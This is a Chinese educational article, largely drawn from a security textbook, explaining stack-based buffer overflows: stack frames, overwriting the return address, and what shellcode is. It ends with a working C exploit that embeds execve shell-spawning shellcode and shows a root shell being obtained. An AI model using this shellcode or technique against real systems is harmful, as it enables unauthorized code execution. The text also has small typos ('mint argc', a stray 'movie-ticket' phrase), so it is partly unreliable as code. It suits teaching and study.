缓冲区溢出漏洞(Buffer Overflow)是最早被发现也是最基础的软件安全漏洞技术类型之一。缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
一、缓冲区溢出基本概念
缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏程序挂靠流程破坏系统运行完整性。理想情况下,程序应检查向缓冲区内写入的数据的长度,并不允许输入的数据长度超过缓冲区本身分配的空间容量。但是大量的程序问题假设数据长度是与所分配的存储空间是相匹配的,因而很容易产生缓冲区溢出漏洞。
缓冲区溢出漏洞通常多见于C/C++语言程序中的memcpy()、strcpy()等内存与字符串复制函数。由于这些函数不检查内存越界的问题,而程序员一般也没有足够的安全编程意识、经验和技巧,对复制的电影票缓冲区普遍没有进行严格的边界安全保护,在这种情况下,缓冲区溢出攻击的流行就不足为怪了。
二、缓冲区溢出的背景知识
栈溢出攻击是一种典型的缓冲区溢出漏洞攻击。以下以栈溢出漏洞攻击为例,说明缓冲区溢出的攻击的过程与机理。
栈溢出与函数的调用过程紧密相关。栈溢出攻击修改了函数调用过程中的返回地址,欺骗处理器指令寄存器跳转至攻击者指定位置执行攻击者的恶意代码。栈是一种最基本的LIFO后进先出抽象数据结构,主要被用于实现程序中的过程调用。在调用函数时,栈中会依次压入函数的调用参数(从右至左)、返回地址、调用者栈基地址、函数本地局部变量等数据。在函数执行完毕后,函数本地局部变量、调用者栈基地址、返回地址、函数参数将依次出栈。其中,返回地址数据最为关键,它记录着函数调用结束后执行的下一条指令的地址。由于返回地址在可读写的栈中保存,同时与其他攻击者可以本地局部变量缓冲区相邻,若程序作者未对缓冲区进行严格的边界检查,则将造成被栈溢出攻击的漏洞。
机器的代码中,栈是向下增长的,汇编里ESP表示栈顶指针, EBP表示栈低指针,EIP是32位机的指令寄存器(指令寄存器,存放当前指令的下一条指令的地址。CPU该执行哪条指令就是通过IP来指示的。)调用函数时,将参数由从右向左的顺序加到栈里去,再压入函数返回的地址,然后是调用者栈基地址、函数本地局部变量等数据。
函数B被函数A调用时:函数A的数据被压栈,栈由高地址向低地址生长
栈底
调用函数A的数据 |
.................... |
.................... |
被调用函数B的参数3 |
被调用函数B的参数2 |
被调用函数B的参数1 |
被调用函数B的返回地址(RET) |
调用函数A的EBP |
被调用函数B的局部变量1 |
被调用函数B的局部变量2 |
栈顶
函数调用结束以后
// mov esp ebp 将栈底ebp移到原调用函数栈顶esp
// pop ebp 把原调用函数的栈底设回来
// mov eip 被调用函数B的返回地址
三、栈溢出攻击成功的三个挑战
修改原EBP和RET的,使之成为一个无意义的值,只会造成程序崩溃。若攻击者能将RET的值修改为自己代码的地址,则能使得代码得以执行。为了达到这一目标,就需要更精心地构造缓冲区溢出攻击,解决如下三个挑战。
- 如何找出缓冲区溢出要覆盖和修改的敏感位置?如栈溢出中的RET返回地址在栈中的存储位置。
- 将敏感位置的值修改成什么?为了完成程序执行流程控制权的转移,攻击者需要将影响程序执行流程的值进行修改,使其能够跳转至攻击者预期的代码进行执行,通常情况下会直接填写攻击者注入恶意指令的起始位置,但如何定位注入指令在目标程序中的位置,以及在存在限制条件下如何完成程序控制权的移交,是渗透攻击最重要的挑战。
- 执行什么代码指令来达到攻击目的?在程序控制权移交至攻击者注入的指令后,这段指令完成何种功能,如何编写?这段恶意代码被称为攻击的payload,通常会为攻击者给出一个远程的shell访问,因此也被称为shellcode。
四、栈溢出攻击示例
示例代码:#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f"
"\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
char large_string[128];
int main(mint argc, char **argv){
char buffer[96];
int i;
long *long_ptr=(long *)large_string;
for(i=0; i<32; i++)
*(long_ptr+i)=(int)buffer;
for(i=0; i<(int)strlen(shellcode); i++)
large_string[i]=shellcode[i];
strcpy(buffer, large_string);
return 0;
}
运行结果:
[root@localhost /]# gcc exploit.c -o exploit
[root@localhost /]#./exploit
sh-2.05b#exit
exit
大部分内容来自《网络攻防技术与实践》。